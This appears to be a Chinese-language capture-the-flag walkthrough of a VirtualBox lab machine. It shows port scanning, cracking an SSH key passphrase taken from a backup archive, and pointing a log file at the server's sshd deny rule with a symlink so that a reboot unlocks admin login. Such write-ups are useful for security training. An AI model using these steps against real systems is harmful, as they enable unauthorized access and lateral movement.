┌──(root㉿Eecho)-[/tmp/aaa] └─# rustscan -a 192.168.100.68 -- -A .----. .-. .-. .----..---. .----. .---. .--. .-. .-. | {} }| { } |{ {__ {_ _}{ {__ / ___} / {} \ | `| | | .-. \| {_} |.-._} } | | .-._} }\ }/ /\ \| |\ | `-' `-'`-----'`----' `-' `----' `---' `-' `-'`-' `-' The Modern Day Port Scanner. ________________________________________ : http://discord.skerritt.blog : : https://github.com/RustScan/RustScan : -------------------------------------- Scanning ports: The virtual equivalent of knocking on doors.
[~] The config file is expected to be at "/root/.rustscan.toml" [~] File limit higher than batch size. Can increase speed by increasing batch size '-b 10140'. Open 192.168.100.68:22 Open 192.168.100.68:80 [~] Starting Script(s) [>] Running script "nmap -vvv -p {{port}} -{{ipversion}} {{ip}} -A" on ip 192.168.100.68 Depending on the complexity of the script, results may take some time to appear. [~] Starting Nmap 7.99 ( https://nmap.org ) at 2026-04-25 19:20 +0800 NSE: Loaded 158 scripts for scanning. NSE: Script Pre-scanning. NSE: Starting runlevel 1 (of 3) scan. Initiating NSE at 19:20 Completed NSE at 19:20, 0.00s elapsed NSE: Starting runlevel 2 (of 3) scan. Initiating NSE at 19:20 Completed NSE at 19:20, 0.00s elapsed NSE: Starting runlevel 3 (of 3) scan. Initiating NSE at 19:20 Completed NSE at 19:20, 0.00s elapsed Initiating ARP Ping Scan at 19:20 Scanning 192.168.100.68 [1 port] Completed ARP Ping Scan at 19:20, 0.03s elapsed (1 total hosts) Initiating Parallel DNS resolution of 1 host. at 19:20 Completed Parallel DNS resolution of 1 host. at 19:20, 2.50s elapsed DNS resolution of 1 IPs took 2.50s. Mode: Async [#: 2, OK: 0, NX: 1, DR: 0, SF: 0, TR: 3, CN: 0] Initiating SYN Stealth Scan at 19:20 Scanning 192.168.100.68 [2 ports] Discovered open port 80/tcp on 192.168.100.68 Discovered open port 22/tcp on 192.168.100.68 Completed SYN Stealth Scan at 19:20, 0.03s elapsed (2 total ports) Initiating Service scan at 19:20 Scanning 2 services on 192.168.100.68 Completed Service scan at 19:20, 6.02s elapsed (2 services on 1 host) Initiating OS detection (try #1) against 192.168.100.68 NSE: Script scanning 192.168.100.68. NSE: Starting runlevel 1 (of 3) scan. Initiating NSE at 19:20 Completed NSE at 19:20, 0.21s elapsed NSE: Starting runlevel 2 (of 3) scan. Initiating NSE at 19:20 Completed NSE at 19:20, 0.00s elapsed NSE: Starting runlevel 3 (of 3) scan. Initiating NSE at 19:20 Completed NSE at 19:20, 0.00s elapsed Nmap scan report for 192.168.100.68 Host is up, received arp-response (0.00050s latency). Scanned at 2026-04-25 19:20:19 CST for 8s
PORT STATE SERVICE REASON VERSION 22/tcp open ssh syn-ack ttl 64 OpenSSH 8.4p1 Debian 5+deb11u3 (protocol 2.0) | ssh-hostkey: | 3072 f6:a3:b6:78:c4:62:af:44:bb:1a:a0:0c:08:6b:98:f7 (RSA) | ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABgQDRmicDuAIhDTuUUa37WCIEK2z2F1aDUtiJpok20zMzkbe1B41ZvvydX3JHjf7mgl0F/HRQlGHiA23Il+dwr0YbbBa2ggd5gDl95RSHhuUff/DIC10OFbP3YU8A4ItFb8pR6dN8jr+zU1SZvfx6FWApSkTJmeLPq9PN889+ibvckJcOMqrm1Y05FW2VCWn8QRvwivnuW7iU51IVz7arFe8JShXOLu0ANNqZEXyJyWjaK+MqyOK6ZtoWdyinEQFua81+tBZuvS+qb+AG15/h5hBsS/tUgVk5SieY6cCRvkYFHB099e1ggrigfnN4Kq2GvzRUYkegjkPzJFQ7BhPyxT/kDKrlVcLX54sXrp0poU5R9SqSnnESXVM4HQfjIIjTrJFufc2nBF+4f8dH3qtQ+jJkcPEKNVSKKEDULEk1BSBdokhh1GidxQY7ok+hEb9/wPmo6RBeb1d5t11SP8R5UHyI/yucRpS2M8hpBaovJv8pX1VwpOz3tUDJWCpkB3K8HDk= | 256 bb:e8:a2:31:d4:05:a9:c9:31:ff:62:f6:32:84:21:9d (ECDSA) | ecdsa-sha2-nistp256 AAAAE2VjZHNhLXNoYTItbmlzdHAyNTYAAAAIbmlzdHAyNTYAAABBBI2Hl4ZEYgnoDQflo03hI6346mXex6OPxHEjxDufHbkQZVosDPFwZttA8gloBLYLtvDVo9LZZwtv7F/EIiQoIHE= | 256 3b:ae:34:64:4f:a5:75:b9:4a:b9:81:f9:89:76:99:eb (ED25519) |_ssh-ed25519 AAAAC3NzaC1lZDI1NTE5AAAAILRLvZKpSJkETalR4sqzJOh8a4ivZ8wGt1HfdV3OMNY1 80/tcp open http syn-ack ttl 64 Apache httpd 2.4.62 ((Debian)) |_http-server-header: Apache/2.4.62 (Debian) |_http-title: Target Machine | http-methods: |_ Supported Methods: OPTIONS HEAD GET POST MAC Address: 08:00:27:0A:C0:07 (Oracle VirtualBox virtual NIC) Warning: OSScan results may be unreliable because we could not find at least 1 open and 1 closed port Device type: general purpose|router Running: Linux 4.X|5.X, MikroTik RouterOS 7.X OS CPE: cpe:/o:linux:linux_kernel:4 cpe:/o:linux:linux_kernel:5 cpe:/o:mikrotik:routeros:7 cpe:/o:linux:linux_kernel:5.6.3 OS details: Linux 4.15 - 5.19, OpenWrt 21.02 (Linux 5.4), MikroTik RouterOS 7.2 - 7.5 (Linux 5.6.3) TCP/IP fingerprint: OS:SCAN(V=7.99%E=4%D=4/25%OT=22%CT=%CU=44248%PV=Y%DS=1%DC=D%G=N%M=080027%TM OS:=69ECA37B%P=x86_64-pc-linux-gnu)SEQ(SP=102%GCD=1%ISR=10C%TI=Z%CI=Z%II=I% OS:TS=A)OPS(O1=M5B4ST11NW7%O2=M5B4ST11NW7%O3=M5B4NNT11NW7%O4=M5B4ST11NW7%O5 OS:=M5B4ST11NW7%O6=M5B4ST11)WIN(W1=FE88%W2=FE88%W3=FE88%W4=FE88%W5=FE88%W6= OS:FE88)ECN(R=Y%DF=Y%T=40%W=FAF0%O=M5B4NNSNW7%CC=Y%Q=)T1(R=Y%DF=Y%T=40%S=O% OS:A=S+%F=AS%RD=0%Q=)T2(R=N)T3(R=N)T4(R=Y%DF=Y%T=40%W=0%S=A%A=Z%F=R%O=%RD=0 OS:%Q=)T5(R=Y%DF=Y%T=40%W=0%S=Z%A=S+%F=AR%O=%RD=0%Q=)T6(R=Y%DF=Y%T=40%W=0%S OS:=A%A=Z%F=R%O=%RD=0%Q=)T7(R=Y%DF=Y%T=40%W=0%S=Z%A=S+%F=AR%O=%RD=0%Q=)U1(R OS:=Y%DF=N%T=40%IPL=164%UN=0%RIPL=G%RID=G%RIPCK=G%RUCK=G%RUD=G)IE(R=Y%DFI=N OS:%T=40%CD=S)
Uptime guess: 27.009 days (since Sun Mar 29 19:08:04 2026) Network Distance: 1 hop TCP Sequence Prediction: Difficulty=258 (Good luck!) IP ID Sequence Generation: All zeros Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel
TRACEROUTE HOP RTT ADDRESS 1 0.50 ms 192.168.100.68
NSE: Script Post-scanning. NSE: Starting runlevel 1 (of 3) scan. Initiating NSE at 19:20 Completed NSE at 19:20, 0.00s elapsed NSE: Starting runlevel 2 (of 3) scan. Initiating NSE at 19:20 Completed NSE at 19:20, 0.00s elapsed NSE: Starting runlevel 3 (of 3) scan. Initiating NSE at 19:20 Completed NSE at 19:20, 0.00s elapsed Read data files from: /usr/share/nmap OS and Service detection performed. Please report any incorrect results at https://nmap.org/submit/ . Nmap done: 1 IP address (1 host up) scanned in 10.37 seconds Raw packets sent: 25 (1.894KB) | Rcvd: 17 (1.366KB)
80 web
22 ssh
web源码给出了提示web is nothing.且主页是Listen carefully。所以尝试wireshark抓包
┌──(root㉿Eecho)-[/tmp/aaa] └─# ssh backupd@192.168.100.68 -i id_rsa ** WARNING: connection is not using a post-quantum key exchange algorithm. ** This session may be vulnerable to "store now, decrypt later" attacks. ** The server may need to be upgraded. See https://openssh.com/pq.html Linux ED 4.19.0-27-amd64 #1 SMP Debian 4.19.316-1 (2024-06-25) x86_64
The programs included with the Debian GNU/Linux system are free software; the exact distribution terms for each program are described in the individual files in /usr/share/doc/*/copyright.
Debian GNU/Linux comes with ABSOLUTELY NO WARRANTY, to the extent permitted by applicable law. backupd@ED:~$
提权
横向移动到admin
1 2 3 4 5 6
backupd@ED:~/logs$ sudo -l Matching Defaults entries for backupd on ED: env_reset, mail_badpass, secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin
User backupd may run the following commands on ED: (ALL) NOPASSWD: /usr/sbin/reboot
在backupd用户家目录files下面有个backupd.tgz
1 2 3 4 5 6
backupd@ED:~/files$ cd /tmp backupd@ED:/tmp$ tar -zxvf /home/backupd/files/backupd.tgz .ssh/ .ssh/authorized_keys .ssh/id_ed25519.pub .ssh/id_ed25519
ssh凭证,但是存在Passphrase保护
1 2 3 4 5 6 7 8
backupd@ED:/tmp/.ssh$ ssh -i id_ed25519 admin@localhost The authenticity of host 'localhost (::1)' can't be established. ECDSA key fingerprint is SHA256:IV6iZTL6D//1Ojh0d8XoSMepPgjyUfV/FpQmf3q35Hg. Are you sure you want to continue connecting (yes/no/[fingerprint])? yes Warning: Permanently added 'localhost' (ECDSA) to the list of known hosts. admin@localhost's password: backupd@ED:/tmp/.ssh$ ssh-keygen -y -f id_ed25519 Enter passphrase:
Using default input encoding: UTF-8 Loaded 1 password hash (SSH, SSH private key [RSA/DSA/EC/OPENSSH 32/64]) Cost 1 (KDF/cipher [0=MD5/AES 1=MD5/3DES 2=Bcrypt/AES]) is 2 for all loaded hashes Cost 2 (iteration count) is 16 for all loaded hashes Will run 24 OpenMP threads Press 'q' or Ctrl-C to abort, almost any other key for status yellow (id_rsa2) 1g 0:00:00:00 DONE (2026-04-25 21:09) 1.265g/s 243.0p/s 243.0c/s 243.0C/s 123456..november Use the "--show" option to display all of the cracked passwords reliably Session completed.
┌──(root㉿Eecho)-[/tmp/aaaa] └─# ssh -i id_rsa2 admin@192.168.100.68 -v debug1: OpenSSH_10.2p1 Debian-6, OpenSSL 3.5.5 27 Jan 2026 debug1: Reading configuration data /etc/ssh/ssh_config debug1: Reading configuration data /etc/ssh/ssh_config.d/20-systemd-ssh-proxy.conf debug1: /etc/ssh/ssh_config line 21: Applying options for * debug1: Connecting to 192.168.100.68 [192.168.100.68] port 22. debug1: Connection established. debug1: loaded pubkey from id_rsa2: ED25519 SHA256:Too/cKboBe0JZZ1MVB8BL4H12+qe0GsgdPo18xRvDRk debug1: identity file id_rsa2 type 2 debug1: no identity pubkey loaded from id_rsa2 debug1: Local version string SSH-2.0-OpenSSH_10.2p1 Debian-6 debug1: Remote protocol version 2.0, remote software version OpenSSH_8.4p1 Debian-5+deb11u3 debug1: compat_banner: match: OpenSSH_8.4p1 Debian-5+deb11u3 pat OpenSSH* compat 0x04000000 debug1: Authenticating to 192.168.100.68:22 as 'admin' debug1: load_hostkeys: fopen /root/.ssh/known_hosts2: No such file or directory debug1: load_hostkeys: fopen /etc/ssh/ssh_known_hosts: No such file or directory debug1: load_hostkeys: fopen /etc/ssh/ssh_known_hosts2: No such file or directory debug1: SSH2_MSG_KEXINIT sent debug1: SSH2_MSG_KEXINIT received debug1: kex: algorithm: curve25519-sha256 debug1: kex: host key algorithm: ssh-ed25519 debug1: kex: server->client cipher: chacha20-poly1305@openssh.com MAC: <implicit> compression: none debug1: kex: client->server cipher: chacha20-poly1305@openssh.com MAC: <implicit> compression: none debug1: expecting SSH2_MSG_KEX_ECDH_REPLY debug1: SSH2_MSG_KEX_ECDH_REPLY received debug1: Server host key: ssh-ed25519 SHA256:O2iH79i8PgOwV/Kp8ekTYyGMG8iHT+YlWuYC85SbWSQ debug1: load_hostkeys: fopen /root/.ssh/known_hosts2: No such file or directory debug1: load_hostkeys: fopen /etc/ssh/ssh_known_hosts: No such file or directory debug1: load_hostkeys: fopen /etc/ssh/ssh_known_hosts2: No such file or directory debug1: Host '192.168.100.68' is known and matches the ED25519 host key. debug1: Found key in /root/.ssh/known_hosts:3 debug1: ssh_packet_send2_wrapped: resetting send seqnr 3 debug1: rekey out after 134217728 blocks debug1: SSH2_MSG_NEWKEYS sent debug1: expecting SSH2_MSG_NEWKEYS debug1: ssh_packet_read_poll2: resetting read seqnr 3 debug1: SSH2_MSG_NEWKEYS received debug1: rekey in after 134217728 blocks ** WARNING: connection is not using a post-quantum key exchange algorithm. ** This session may be vulnerable to "store now, decrypt later" attacks. ** The server may need to be upgraded. See https://openssh.com/pq.html debug1: SSH2_MSG_EXT_INFO received debug1: kex_ext_info_client_parse: server-sig-algs=<ssh-ed25519,sk-ssh-ed25519@openssh.com,ssh-rsa,rsa-sha2-256,rsa-sha2-512,ssh-dss,ecdsa-sha2-nistp256,ecdsa-sha2-nistp384,ecdsa-sha2-nistp521,sk-ecdsa-sha2-nistp256@openssh.com,webauthn-sk-ecdsa-sha2-nistp256@openssh.com> debug1: SSH2_MSG_SERVICE_ACCEPT received debug1: Authentications that can continue: publickey,password debug1: Next authentication method: publickey debug1: Will attempt key: id_rsa2 ED25519 SHA256:Too/cKboBe0JZZ1MVB8BL4H12+qe0GsgdPo18xRvDRk explicit debug1: Offering public key: id_rsa2 ED25519 SHA256:Too/cKboBe0JZZ1MVB8BL4H12+qe0GsgdPo18xRvDRk explicit debug1: Authentications that can continue: publickey,password debug1: Next authentication method: password admin@192.168.100.68's password: debug1: Authentications that can continue: publickey,password Permission denied, please try again. admin@192.168.100.68's password:
cd /home/backupd/ mv logs/ aaa mkdir logs cd logs ln -svf /etc/ssh/sshd_config.d/deny-admin.conf /home/backupd/logs/broadcast.log
重启(因为ssh服务是存在于进程里面的,只有重启ssh服务或者重启服务器才能更新配置文件)
1 2 3
backupd@ED:~/logs$ sudo /usr/sbin/reboot Connection to 192.168.100.68 closed by remote host. Connection to 192.168.100.68 closed.
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15
┌──(root㉿Eecho)-[/tmp/aaaa] └─# ssh -i id_rsa2 admin@192.168.100.68 ** WARNING: connection is not using a post-quantum key exchange algorithm. ** This session may be vulnerable to "store now, decrypt later" attacks. ** The server may need to be upgraded. See https://openssh.com/pq.html Enter passphrase for key 'id_rsa2': Linux ED 4.19.0-27-amd64 #1 SMP Debian 4.19.316-1 (2024-06-25) x86_64
The programs included with the Debian GNU/Linux system are free software; the exact distribution terms for each program are described in the individual files in /usr/share/doc/*/copyright.
Debian GNU/Linux comes with ABSOLUTELY NO WARRANTY, to the extent permitted by applicable law. admin@ED:~$